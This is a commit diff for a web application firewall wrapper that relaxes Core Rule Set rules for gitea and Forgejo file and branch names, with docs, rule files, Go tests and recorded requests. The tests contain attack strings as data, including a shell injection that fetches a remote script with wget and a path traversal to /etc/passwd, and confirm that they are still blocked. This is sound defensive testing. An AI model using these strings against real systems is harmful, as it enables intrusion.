Compare commits
1
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
5ef701a381 |
No files matched your search
@@ -865,6 +865,28 @@ The changes hold in front of every app, and no setting undoes them:
|
||||
- to start a release from a tag;
|
||||
- to edit a branch protection rule;
|
||||
- to list a directory's last commits.
|
||||
- A file or branch name in a body field:
|
||||
- `tree_path` of the web editor's save, new file and delete, for system
|
||||
files, Windows commands and command names (930120, 932120, 932260);
|
||||
- `commit_summary` there, for system files and Windows commands (930120,
|
||||
932120);
|
||||
- `content` there, the file's text, for a Unix command at the start of a
|
||||
line (932235);
|
||||
- `new_branch_name` of a branch created on the web or through the API,
|
||||
for command names (932260);
|
||||
- `from` and `to` of a branch renamed on the web, for command names
|
||||
(932260);
|
||||
- `head` of a pull request opened through the API, for command names
|
||||
(932260);
|
||||
- `message` of a file created, changed or deleted through the API, for
|
||||
Windows commands (932120).
|
||||
|
||||
Names such as `docker-compose.yml`, `.htaccess` and
|
||||
`feat/docker-support` were refused. `; wget http://example.com/x.sh` and
|
||||
path traversal are still refused in these fields. These exclusions
|
||||
matter only while `SWW_WAF_BODY_LIMIT` is set. None applies when the
|
||||
query has a parameter of the same name.
|
||||
|
||||
- The `Content-Range` header of an artifact upload from
|
||||
`actions/upload-artifact@v3` (920450).
|
||||
- The passwords in a body, for each rule that random passwords set off. The
|
||||
@@ -1570,11 +1592,13 @@ The changes hold in front of every app, and no setting undoes them:
|
||||
`/index.php/`. Elsewhere these fields keep every rule. An app other than
|
||||
Nextcloud that serves one of these paths must check these fields itself.
|
||||
|
||||
15. On Forgejo's paths, `q` on the search of a wiki skips the rules that refused
|
||||
ordinary Forgejo searches there. Forgejo is a fork of gitea, and the eighth
|
||||
change applies to its requests too. This change holds only what Forgejo
|
||||
sends and gitea does not. `internal/coreruleset/forgejo.conf` lists each
|
||||
rule and the search it refused:
|
||||
15. On Forgejo's paths, some fields skip the rules that refused ordinary Forgejo
|
||||
requests there. Forgejo is a fork of gitea, and the eighth change applies to
|
||||
its requests too. This change holds only what Forgejo sends and gitea does
|
||||
not. `internal/coreruleset/forgejo.conf` lists each rule and the request it
|
||||
refused.
|
||||
|
||||
`q` on the search of a wiki skips these rules:
|
||||
- system files (930120), such as `.htaccess`;
|
||||
- Windows commands (932120), such as `powershell`;
|
||||
- shell paths (932160), such as `/bin/sh`;
|
||||
@@ -1586,6 +1610,11 @@ The changes hold in front of every app, and no setting undoes them:
|
||||
at the site root. An app other than Forgejo that serves such a path must
|
||||
check `q` itself.
|
||||
|
||||
Forgejo renames a branch at `/<owner>/<repo>/settings/rename_branch`, where
|
||||
gitea uses `/<owner>/<repo>/branches/rename`. There, as on gitea's path,
|
||||
`from` and `to` skip the list of command names (932260), which refused
|
||||
`feat/docker-support`. This matters only while `SWW_WAF_BODY_LIMIT` is set.
|
||||
|
||||
The parameter and cookie names in these changes are matched without regard to
|
||||
case, as Coraza matches them.
|
||||
|
||||
|
||||
@@ -1720,6 +1720,9 @@ const scriptTag = "<script>alert(1)</script>"
|
||||
// pathTraversal is a path traversal, not escaped.
|
||||
const pathTraversal = "../../etc/passwd"
|
||||
|
||||
// shellCommand is commandInjection, not escaped.
|
||||
const shellCommand = "; wget http://example.com/x.sh"
|
||||
|
||||
// readingBodies returns the Core Rule Set as sww runs it by
|
||||
// default, but reading bodies up to bodyLimit.
|
||||
func readingBodies(t *testing.T) *coreruleset.CoreRuleSet {
|
||||
@@ -1925,6 +1928,84 @@ func TestGiteaBodiesTheCoreRuleSetRefuses(t *testing.T) {
|
||||
wantBody(t, crs, post(multipart), attachment, matched(932180), attachment)
|
||||
}
|
||||
|
||||
// TestGiteaNamesInBodiesStillRefuseAttacks checks the body fields in which
|
||||
// gitea and Forgejo name a file or a branch. Each lets through the name that
|
||||
// was refused there, and still refuses a shell command after a ";" and a path
|
||||
// traversal. The same name is still refused in another field on the same path,
|
||||
// and in the field itself when the query has a parameter of the field's name.
|
||||
func TestGiteaNamesInBodiesStillRefuseAttacks(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
const (
|
||||
threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
||||
repo = "/alice/tools"
|
||||
api = "/api/v1/repos/alice/tools"
|
||||
)
|
||||
|
||||
crs := readingBodies(t)
|
||||
|
||||
for _, tc := range []struct {
|
||||
path, contentType, field, name string
|
||||
}{
|
||||
{repo + "/_edit/main/compose.yml", formData, "tree_path", "docker-compose.yml"},
|
||||
{repo + "/_new/main/", formData, "tree_path", "docs/python3-setup.md"},
|
||||
{repo + "/_delete/main/.htaccess", formData, "commit_summary", "Remove .htaccess"},
|
||||
{repo + "/_new/main/", formData, "content", "# Setup\r\n\r\nInstall the tools.\r\n"},
|
||||
{repo + "/branches/_new/branch/main", formData, "new_branch_name", "docker-build"},
|
||||
{repo + "/branches/rename", formData, "from", "feat/docker-support"},
|
||||
{repo + "/branches/rename", formData, "to", "feat/python3-support"},
|
||||
// Forgejo's path for renaming a branch.
|
||||
{repo + "/settings/rename_branch", formData, "to", "feat/python3-support"},
|
||||
{api + "/branches", jsonBody, "new_branch_name", "python3-docs"},
|
||||
{api + "/pulls", jsonBody, "head", "feat/docker-support"},
|
||||
{
|
||||
api + "/contents/scripts/powershell-build.ps1", jsonBody,
|
||||
"message", "Add a PowerShell build script",
|
||||
},
|
||||
} {
|
||||
r := request{http.MethodPost, tc.path, []string{tc.contentType}}
|
||||
|
||||
body := func(field, value string) string {
|
||||
if tc.contentType == formData {
|
||||
return field + "=" + url.QueryEscape(value)
|
||||
}
|
||||
|
||||
quoted, err := json.Marshal(map[string]string{field: value})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
return string(quoted)
|
||||
}
|
||||
|
||||
if got, _ := inspectBody(t, crs, r, body(tc.field, tc.name)); got.Score >= threshold {
|
||||
t.Errorf("%s %s=%q refused: %+v", tc.path, tc.field, tc.name, got)
|
||||
}
|
||||
|
||||
if got, _ := inspectBody(t, crs, r, body("other", tc.name)); got.Score < threshold {
|
||||
t.Errorf("%s other=%q let through: %+v", tc.path, tc.name, got)
|
||||
}
|
||||
|
||||
param := tc.field
|
||||
if tc.contentType == jsonBody {
|
||||
param = "json." + tc.field
|
||||
}
|
||||
|
||||
queried := request{http.MethodPost, tc.path + "?" + param + "=x", r.headers}
|
||||
|
||||
got, _ := inspectBody(t, crs, queried, body(tc.field, tc.name))
|
||||
if got.Score < threshold {
|
||||
t.Errorf("%s %s=%q let through: %+v", queried.target, tc.field, tc.name, got)
|
||||
}
|
||||
|
||||
for _, attack := range []string{shellCommand, pathTraversal} {
|
||||
if got, _ := inspectBody(t, crs, r, body(tc.field, attack)); got.Score < threshold {
|
||||
t.Errorf("%s %s=%q let through: %+v", tc.path, tc.field, attack, got)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestTypesEndingInXMLOrJSONAndTextJSONAreRead(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
|
||||
@@ -218,7 +218,7 @@ func TestDrupalAttacksAreRefusedInTheJSONPasswordReset(t *testing.T) {
|
||||
for _, attack := range []string{
|
||||
injection,
|
||||
scriptTag,
|
||||
`; wget http://example.com/x.sh`,
|
||||
shellCommand,
|
||||
`../../sites/default/settings.php`,
|
||||
} {
|
||||
for _, field := range []string{"name", "mail"} {
|
||||
|
||||
@@ -19,3 +19,14 @@ SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/wiki/search$" \
|
||||
ctl:ruleRemoveTargetById=932160;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:q"
|
||||
|
||||
# Forgejo renames a branch on its own path, where from and to name branches.
|
||||
# They skip the list of command names (932260), which refused
|
||||
# feat/docker-support and feat/python3-support. They are read only while
|
||||
# SWW_WAF_BODY_LIMIT is set, and skip nothing when the query has a parameter of
|
||||
# the same name.
|
||||
SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/settings/rename_branch$" \
|
||||
"id:900666,phase:1,pass,nolog,chain"
|
||||
SecRule &ARGS_GET:/^(?:from|to)$/ "@eq 0" \
|
||||
"ctl:ruleRemoveTargetById=932260;ARGS:from,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:to"
|
||||
@@ -298,6 +298,66 @@ SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/settings/branches/edit$" \
|
||||
SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/lastcommit/" \
|
||||
"id:900633,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932260;ARGS:refSubUrl"
|
||||
|
||||
# The requests below name a file or a branch in a body field, which is read only
|
||||
# while SWW_WAF_BODY_LIMIT is set. Each field skips the rules that refused it.
|
||||
# None applies when the query has a parameter of the same name.
|
||||
|
||||
# The web editor's save, new file and delete. The file's path, in tree_path,
|
||||
# skips these rules:
|
||||
# 930120: .htaccess
|
||||
# 932120: scripts/install-script.sh
|
||||
# 932260: docker-compose.yml
|
||||
# The commit's summary, in commit_summary, skips these rules:
|
||||
# 930120: Remove .htaccess
|
||||
# 932120: Remove scripts/install-script.sh
|
||||
# The file's text, in content, skips one rule:
|
||||
# 932235: a line that starts with install
|
||||
SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/(?:_edit|_new|_delete)/" \
|
||||
"id:900660,phase:1,pass,nolog,chain"
|
||||
SecRule &ARGS_GET:/^(?:tree_path|commit_summary|content)$/ "@eq 0" \
|
||||
"ctl:ruleRemoveTargetById=930120;ARGS:tree_path,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:tree_path,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:tree_path,\
|
||||
ctl:ruleRemoveTargetById=930120;ARGS:commit_summary,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:commit_summary,\
|
||||
ctl:ruleRemoveTargetById=932235;ARGS:content"
|
||||
|
||||
# The rest name a branch, which skips the list of command names (932260) there.
|
||||
# It refused docker-build, python3-docs and feat/docker-support.
|
||||
|
||||
# A branch created on the web, in new_branch_name.
|
||||
SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/branches/_new/" \
|
||||
"id:900661,phase:1,pass,nolog,chain"
|
||||
SecRule &ARGS_GET:new_branch_name "@eq 0" \
|
||||
"ctl:ruleRemoveTargetById=932260;ARGS:new_branch_name"
|
||||
|
||||
# A branch renamed on the web, in from and to.
|
||||
SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/branches/rename$" \
|
||||
"id:900662,phase:1,pass,nolog,chain"
|
||||
SecRule &ARGS_GET:/^(?:from|to)$/ "@eq 0" \
|
||||
"ctl:ruleRemoveTargetById=932260;ARGS:from,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:to"
|
||||
|
||||
# A branch created through the API, in new_branch_name.
|
||||
SecRule REQUEST_FILENAME "@rx ^/api/v1/repos/[^/]+/[^/]+/branches$" \
|
||||
"id:900663,phase:1,pass,nolog,chain"
|
||||
SecRule &ARGS_GET:json.new_branch_name "@eq 0" \
|
||||
"ctl:ruleRemoveTargetById=932260;ARGS:json.new_branch_name"
|
||||
|
||||
# A pull request opened through the API, in head.
|
||||
SecRule REQUEST_FILENAME "@rx ^/api/v1/repos/[^/]+/[^/]+/pulls$" \
|
||||
"id:900664,phase:1,pass,nolog,chain"
|
||||
SecRule &ARGS_GET:json.head "@eq 0" \
|
||||
"ctl:ruleRemoveTargetById=932260;ARGS:json.head"
|
||||
|
||||
# A file created, changed or deleted through the API. The commit's message, in
|
||||
# message, skips the list of Windows commands (932120), which refused Add a
|
||||
# PowerShell build script.
|
||||
SecRule REQUEST_FILENAME "@rx ^/api/v1/repos/[^/]+/[^/]+/contents/" \
|
||||
"id:900665,phase:1,pass,nolog,chain"
|
||||
SecRule &ARGS_GET:json.message "@eq 0" \
|
||||
"ctl:ruleRemoveTargetById=932120;ARGS:json.message"
|
||||
|
||||
# An artifact upload from actions/upload-artifact@v3 sends the header
|
||||
# Content-Range, which the Core Rule Set refused (920450).
|
||||
SecRule REQUEST_FILENAME \
|
||||
|
||||
@@ -150,9 +150,11 @@ func TestOrdinaryDrupalRequestsPass(t *testing.T) {
|
||||
}
|
||||
|
||||
// TestOrdinaryForgejoRequestsPass checks Forgejo's recorded requests at the
|
||||
// defaults only. While bodies are read, the Core Rule Set still refuses the
|
||||
// file and branch names some of them carry in a form or JSON body, as it does
|
||||
// gitea's (TestGiteaBodiesTheCoreRuleSetRefuses).
|
||||
// defaults only. While bodies are read, the Core Rule Set still refuses a new
|
||||
// wiki page whose title and text name commands and files, as it does such text
|
||||
// in gitea's comments (TestGiteaBodiesTheCoreRuleSetRefuses). The requests
|
||||
// that name a file or a branch in a body are checked while bodies are read in
|
||||
// TestForgejoNamesInBodiesPass.
|
||||
func TestOrdinaryForgejoRequestsPass(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
@@ -168,6 +170,21 @@ func TestOrdinaryForgejoRequestsPass(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
// TestGiteaNamesInBodiesPass checks gitea's recorded requests that name a
|
||||
// file or a branch in a body, while bodies are read too.
|
||||
func TestGiteaNamesInBodiesPass(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
wantRecordedRequestsPass(t, "gitea-names-in-bodies.txt")
|
||||
}
|
||||
|
||||
// TestForgejoNamesInBodiesPass is TestGiteaNamesInBodiesPass for Forgejo.
|
||||
func TestForgejoNamesInBodiesPass(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
wantRecordedRequestsPass(t, "forgejo-names-in-bodies.txt")
|
||||
}
|
||||
|
||||
func TestOrdinaryMastodonRequestsPass(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
|
||||
@@ -0,0 +1,14 @@
|
||||
# Ordinary Forgejo 17.0.1 requests that name a file or a branch in a body, which
|
||||
# the Core Rule Set must let through while it reads bodies. They were recorded
|
||||
# from a Forgejo driven by a headless Chrome, signed in, and by a script on the
|
||||
# API. Each line is one request as JSON. Names, cookies and tokens are
|
||||
# invented. The browser's User-Agent is an ordinary Chrome's.
|
||||
{"method": "POST", "target": "/api/v1/repos/alice/tools/branches", "headers": ["Accept-Encoding: identity", "Content-Length: 62", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"new_branch_name\": \"python3-docs\", \"old_branch_name\": \"main\"}"}
|
||||
{"method": "POST", "target": "/api/v1/repos/alice/tools/pulls", "headers": ["Accept-Encoding: identity", "Content-Length: 103", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"title\": \"Add Dockerfile\", \"head\": \"feat/docker-support\", \"base\": \"main\", \"body\": \"Builds the image.\"}"}
|
||||
{"method": "POST", "target": "/api/v1/repos/alice/tools/contents/scripts/powershell-build.ps1", "headers": ["Accept-Encoding: identity", "Content-Length: 105", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"content\": \"V3JpdGUtSG9zdCAiYnVpbGQiCg==\", \"message\": \"Add a PowerShell build script\", \"branch\": \"main\"}"}
|
||||
{"method": "POST", "target": "/alice/tools/_edit/main/docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 278", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_edit/main/docker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "last_commit=7fdea7fc2e2e31e0acbd7c19e7a79b71b370a535&page_has_posted=&tree_path=docker-compose.yml&content=services%3A%0D%0A++web%3A%0D%0A++++image%3A+nginx%3A1.27%0D%0A&commit_summary=Pin+nginx&commit_message=&commit_choice=direct&new_branch_name=alice-patch-1&commit_mail_id=1"}
|
||||
{"method": "POST", "target": "/alice/tools/_new/main/", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 272", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_new/main/", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "last_commit=550f5bc9ec44f5e1a7421342d5a29584893637e0&page_has_posted=&tree_path=docs%2Fpython3-setup.md&content=%23+Setup%0D%0A%0D%0AInstall+the+tools.%0D%0A&commit_summary=Add+setup+notes&commit_message=&commit_choice=direct&new_branch_name=alice-patch-1&commit_mail_id=1"}
|
||||
{"method": "POST", "target": "/alice/tools/_delete/main/.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 168", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_delete/main/.htaccess", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "last_commit=918ad9ba97e11df8bb1153b69029b667a8913ab1&commit_summary=Remove+.htaccess&commit_message=&commit_choice=direct&new_branch_name=alice-patch-1&commit_mail_id=1"}
|
||||
{"method": "POST", "target": "/alice/tools/_delete/main/scripts/install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 186", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_delete/main/scripts/install-script.sh", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "last_commit=d38a7aa4e96146ab653ff3f4ddfe7c4be030c0ef&commit_summary=Remove+scripts%2Finstall-script.sh&commit_message=&commit_choice=direct&new_branch_name=alice-patch-1&commit_mail_id=1"}
|
||||
{"method": "POST", "target": "/alice/tools/branches/_new/branch/main", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 28", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/branches", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "new_branch_name=docker-build"}
|
||||
{"method": "POST", "target": "/alice/tools/settings/rename_branch", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 52", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/branches", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "from=feat%2Fdocker-support&to=feat%2Fpython3-support"}
|
||||
@@ -0,0 +1,14 @@
|
||||
# Ordinary gitea 1.27.3 requests that name a file or a branch in a body, which
|
||||
# the Core Rule Set must let through while it reads bodies. They were recorded
|
||||
# from a gitea driven by a headless Chrome, signed in, and by a script on the
|
||||
# API. Each line is one request as JSON. Names, cookies and tokens are
|
||||
# invented. The browser's User-Agent is an ordinary Chrome's.
|
||||
{"method": "POST", "target": "/api/v1/repos/alice/tools/branches", "headers": ["Accept-Encoding: identity", "Content-Length: 62", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"new_branch_name\": \"python3-docs\", \"old_branch_name\": \"main\"}"}
|
||||
{"method": "POST", "target": "/api/v1/repos/alice/tools/pulls", "headers": ["Accept-Encoding: identity", "Content-Length: 103", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"title\": \"Add Dockerfile\", \"head\": \"feat/docker-support\", \"base\": \"main\", \"body\": \"Builds the image.\"}"}
|
||||
{"method": "POST", "target": "/api/v1/repos/alice/tools/contents/scripts/powershell-build.ps1", "headers": ["Accept-Encoding: identity", "Content-Length: 105", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"content\": \"V3JpdGUtSG9zdCAiYnVpbGQiCg==\", \"message\": \"Add a PowerShell build script\", \"branch\": \"main\"}"}
|
||||
{"method": "POST", "target": "/alice/tools/_edit/main/docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 864", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryd2r1zGuX9U2OBld1", "x-gitea-fetch-action: 1", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_edit/main/docker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundaryd2r1zGuX9U2OBld1\r\nContent-Disposition: form-data; name=\"tree_path\"\r\n\r\ndocker-compose.yml\r\n------WebKitFormBoundaryd2r1zGuX9U2OBld1\r\nContent-Disposition: form-data; name=\"content\"\r\n\r\nservices:\r\n web:\r\n image: nginx:1.27\r\n\r\n------WebKitFormBoundaryd2r1zGuX9U2OBld1\r\nContent-Disposition: form-data; name=\"commit_summary\"\r\n\r\nPin nginx\r\n------WebKitFormBoundaryd2r1zGuX9U2OBld1\r\nContent-Disposition: form-data; name=\"commit_message\"\r\n\r\n\r\n------WebKitFormBoundaryd2r1zGuX9U2OBld1\r\nContent-Disposition: form-data; name=\"commit_choice\"\r\n\r\ndirect\r\n------WebKitFormBoundaryd2r1zGuX9U2OBld1\r\nContent-Disposition: form-data; name=\"new_branch_name\"\r\n\r\nalice-patch-1\r\n------WebKitFormBoundaryd2r1zGuX9U2OBld1\r\nContent-Disposition: form-data; name=\"last_commit\"\r\n\r\n0735bcea75feef4e6d8b85866be904fadd379426\r\n------WebKitFormBoundaryd2r1zGuX9U2OBld1--\r\n"}
|
||||
{"method": "POST", "target": "/alice/tools/_new/main/", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 862", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywVqkqv2Jr7ji4Kze", "x-gitea-fetch-action: 1", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_new/main/", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundarywVqkqv2Jr7ji4Kze\r\nContent-Disposition: form-data; name=\"tree_path\"\r\n\r\ndocs/python3-setup.md\r\n------WebKitFormBoundarywVqkqv2Jr7ji4Kze\r\nContent-Disposition: form-data; name=\"content\"\r\n\r\n# Setup\r\n\r\nInstall the tools.\r\n\r\n------WebKitFormBoundarywVqkqv2Jr7ji4Kze\r\nContent-Disposition: form-data; name=\"commit_summary\"\r\n\r\nAdd setup notes\r\n------WebKitFormBoundarywVqkqv2Jr7ji4Kze\r\nContent-Disposition: form-data; name=\"commit_message\"\r\n\r\n\r\n------WebKitFormBoundarywVqkqv2Jr7ji4Kze\r\nContent-Disposition: form-data; name=\"commit_choice\"\r\n\r\ndirect\r\n------WebKitFormBoundarywVqkqv2Jr7ji4Kze\r\nContent-Disposition: form-data; name=\"new_branch_name\"\r\n\r\nalice-patch-1\r\n------WebKitFormBoundarywVqkqv2Jr7ji4Kze\r\nContent-Disposition: form-data; name=\"last_commit\"\r\n\r\n71e995c2394ac116247f342fb116b0058e1ec738\r\n------WebKitFormBoundarywVqkqv2Jr7ji4Kze--\r\n"}
|
||||
{"method": "POST", "target": "/alice/tools/_delete/main/.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 621", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryQH6Zh33PIE4XdrL5", "x-gitea-fetch-action: 1", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_delete/main/.htaccess", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundaryQH6Zh33PIE4XdrL5\r\nContent-Disposition: form-data; name=\"commit_summary\"\r\n\r\nRemove .htaccess\r\n------WebKitFormBoundaryQH6Zh33PIE4XdrL5\r\nContent-Disposition: form-data; name=\"commit_message\"\r\n\r\n\r\n------WebKitFormBoundaryQH6Zh33PIE4XdrL5\r\nContent-Disposition: form-data; name=\"commit_choice\"\r\n\r\ndirect\r\n------WebKitFormBoundaryQH6Zh33PIE4XdrL5\r\nContent-Disposition: form-data; name=\"new_branch_name\"\r\n\r\nalice-patch-1\r\n------WebKitFormBoundaryQH6Zh33PIE4XdrL5\r\nContent-Disposition: form-data; name=\"last_commit\"\r\n\r\nd44f04577d741b385554aaf75898d84c0e6be0e4\r\n------WebKitFormBoundaryQH6Zh33PIE4XdrL5--\r\n"}
|
||||
{"method": "POST", "target": "/alice/tools/_delete/main/scripts/install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 637", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary5NJfG6GBxpj4Yj1g", "x-gitea-fetch-action: 1", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_delete/main/scripts/install-script.sh", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundary5NJfG6GBxpj4Yj1g\r\nContent-Disposition: form-data; name=\"commit_summary\"\r\n\r\nRemove scripts/install-script.sh\r\n------WebKitFormBoundary5NJfG6GBxpj4Yj1g\r\nContent-Disposition: form-data; name=\"commit_message\"\r\n\r\n\r\n------WebKitFormBoundary5NJfG6GBxpj4Yj1g\r\nContent-Disposition: form-data; name=\"commit_choice\"\r\n\r\ndirect\r\n------WebKitFormBoundary5NJfG6GBxpj4Yj1g\r\nContent-Disposition: form-data; name=\"new_branch_name\"\r\n\r\nalice-patch-1\r\n------WebKitFormBoundary5NJfG6GBxpj4Yj1g\r\nContent-Disposition: form-data; name=\"last_commit\"\r\n\r\ne0855ca76e18ad6cc42b3ed5c99247293522f926\r\n------WebKitFormBoundary5NJfG6GBxpj4Yj1g--\r\n"}
|
||||
